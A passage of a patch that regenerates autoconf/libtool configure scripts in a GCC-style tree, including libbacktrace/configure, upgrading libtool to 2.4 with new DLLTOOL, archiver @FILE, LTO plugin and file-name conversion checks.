++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+@@ -19541,12 +20381,12 @@ with_gcc=$GCC_CXX
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl_CXX
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic_CXX
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl_CXX
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static_CXX
+
+@@ -19633,9 +20473,6 @@ inherit_rpath=$inherit_rpath_CXX
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs_CXX
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path_CXX
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols_CXX
+
+@@ -19651,6 +20488,9 @@ include_expsyms=$lt_include_expsyms_CXX
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds_CXX
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds_CXX
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec_CXX
+
+diff --git a/libbacktrace/configure b/libbacktrace/configure
+index a2f33c0f35d..90667680701 100755
+--- a/libbacktrace/configure
++++ b/libbacktrace/configure
+@@ -680,7 +680,10 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -798,6 +801,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_largefile
+ enable_cet
+@@ -1458,6 +1462,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-system-libunwind use installed libunwind
+
+ Some influential environment variables:
+@@ -5446,8 +5452,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5487,7 +5493,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5818,48 +5824,49 @@ if ${lt_cv_path_NM+:} false; then :
+ $as_echo_n "(cached) " >&6
+ else
+ if test -n "$NM"; then
+- # Let the user override the test.
+- lt_cv_path_NM="$NM"
+-else
+- lt_nm_to_check="${ac_tool_prefix}nm"
+- if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
+- lt_nm_to_check="$lt_nm_to_check nm"
+- fi
+- for lt_tmp_nm in $lt_nm_to_check; do
+- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+- for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
+- IFS="$lt_save_ifs"
+- test -z "$ac_dir" && ac_dir=.
+- tmp_nm="$ac_dir/$lt_tmp_nm"
+- if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
+- # Check to see if the nm accepts a BSD-compat flag.
+- # Adding the `sed 1q' prevents false positives on HP-UX, which says:
+- # nm: unknown option "B" ignored
+- # Tru64's nm complains that /dev/null is an invalid object file
+- case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
+- */dev/null* | *'Invalid file or object type'*)
+- lt_cv_path_NM="$tmp_nm -B"
+- break
+- ;;
+- *)
+- case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
+- */dev/null*)
+- lt_cv_path_NM="$tmp_nm -p"
+- break
+- ;;
+- *)
+- lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
+- continue # so that we can try to find one that supports BSD flags
+- ;;
+- esac
+- ;;
+- esac
+- fi
+- done
+- IFS="$lt_save_ifs"
+- done
+- : ${lt_cv_path_NM=no}
+-fi
++ # Let the user override the nm to test.
++ lt_nm_to_check="$NM"
++ else
++ lt_nm_to_check="${ac_tool_prefix}nm"
++ if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
++ lt_nm_to_check="$lt_nm_to_check nm"
++ fi
++ fi
++ for lt_tmp_nm in $lt_nm_to_check; do
++ lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
++ for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
++ IFS="$lt_save_ifs"
++ test -z "$ac_dir" && ac_dir=.
++ case "$lt_tmp_nm" in
++ */*|*\\*) tmp_nm="$lt_tmp_nm";;
++ *) tmp_nm="$ac_dir/$lt_tmp_nm";;
++ esac
++ if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
++ # Check to see if the nm accepts a BSD-compat flag.
++ # Adding the `sed 1q' prevents false positives on HP-UX, which says:
++ # nm: unknown option "B" ignored
++ case `"$tmp_nm" -B "$tmp_nm" 2>&1 | grep -v '^ *$' | sed '1q'` in
++ *$tmp_nm*) lt_cv_path_NM="$tmp_nm -B"
++ break
++ ;;
++ *)
++ case `"$tmp_nm" -p "$tmp_nm" 2>&1 | grep -v '^ *$' | sed '1q'` in
++ *$tmp_nm*)
++ lt_cv_path_NM="$tmp_nm -p"
++ break
++ ;;
++ *)
++ lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
++ continue # so that we can try to find one that supports BSD flags
++ ;;
++ esac
++ ;;
++ esac
++ fi
++ done
++ IFS="$lt_save_ifs"
++ done
++ : ${lt_cv_path_NM=no}
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5
+ $as_echo "$lt_cv_path_NM" >&6; }
+@@ -6173,8 +6180,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6223,6 +6230,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6239,6 +6320,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6407,7 +6493,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6480,7 +6567,7 @@ irix5* | irix6* | nonstopux*)
+ ;;
+
+ # This must be Linux ELF.
+-linux* | k*bsd*-gnu | kopensolaris*-gnu | uclinuxfdpiceabi)
++linux* | k*bsd*-gnu | kopensolaris*-gnu)
+ lt_cv_deplibs_check_method=pass_all
+ ;;
+
+@@ -6561,6 +6648,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6574,11 +6676,177 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
+
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
++plugin_option=
++plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
++for plugin in $plugin_names; do
++ plugin_so=`${CC} ${CFLAGS} --print-prog-name $plugin`
++ if test x$plugin_so = x$plugin; then
++ plugin_so=`${CC} ${CFLAGS} --print-file-name $plugin`
++ fi
++ if test x$plugin_so != x$plugin; then
++ plugin_option="--plugin $plugin_so"
++ break
++ fi
++done
++
++if test -n "$ac_tool_prefix"; then
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6594,7 +6862,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6614,11 +6882,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6634,7 +6906,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6653,6 +6925,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6664,12 +6940,21 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++$as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
++ else
++ AR="$AR $plugin_option"
++ fi
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
+
+
+
+@@ -6679,6 +6964,62 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
+
+
+ if test -n "$ac_tool_prefix"; then
+@@ -6873,6 +7214,11 @@ else
+ fi
+
+ test -z "$RANLIB" && RANLIB=:
++if test -n "$plugin_option" && test "$RANLIB" != ":"; then
++ if $RANLIB --help 2>&1 | grep -q "\--plugin"; then
++ RANLIB="$RANLIB $plugin_option"
++ fi
++fi
+
+
+
+@@ -6987,7 +7333,7 @@ osf*)
+ symcode='[BCDEGQRST]'
+ ;;
+ solaris*)
+- symcode='[BDRT]'
++ symcode='[BCDRT]'
+ ;;
+ sco3.2v5*)
+ symcode='[DT]'
+@@ -7015,8 +7361,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7052,6 +7398,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7093,6 +7440,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
